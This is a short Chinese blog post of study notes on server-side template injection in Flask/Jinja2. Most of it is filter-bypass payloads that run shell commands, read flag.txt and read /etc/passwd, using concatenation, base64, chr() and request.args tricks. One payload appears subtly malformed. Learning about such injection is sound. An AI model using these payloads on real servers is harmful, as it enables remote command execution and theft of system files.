2022年3月25日的学习记录

SSIT的理解

因为对输入的字符串控制不足,把输入的字符串当成命令执行

SSIT引发的真正原因

render_template渲染函数的问题

render_template渲染函数是什么:

就是把HTML涉及的页面与用户数据分离开,这样方便展示和管理。当用户输入自己的数据信息,HTML页面可以根据用户自身的信息来展示页面,因此才有了这个函数的使用。

 

对于如何绕过过滤的方法

拼接法

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
//绕过对于system的过滤

 

().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
//绕过对于flag.txt文件的过滤

编码

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))
————————————————
//等价于
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")
利用base64编码对eval和__import__('os').popen('ls').read()进行加密避免过滤

 

对于某些特定符号绕过过滤的方法

对于引号,利用chr函数,将引号的值赋给chr,后面拼接字符串

{% set
chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr
%}{{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()
}}

 

对于双下划线

{{
''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
}}&class=__class__&mro=__mro__&subclasses=__subclasses__
//这个还不太懂。。。

 

posted @ 2022-03-25 22:51  heartBroken  阅读(21)  评论(0编辑  收藏  举报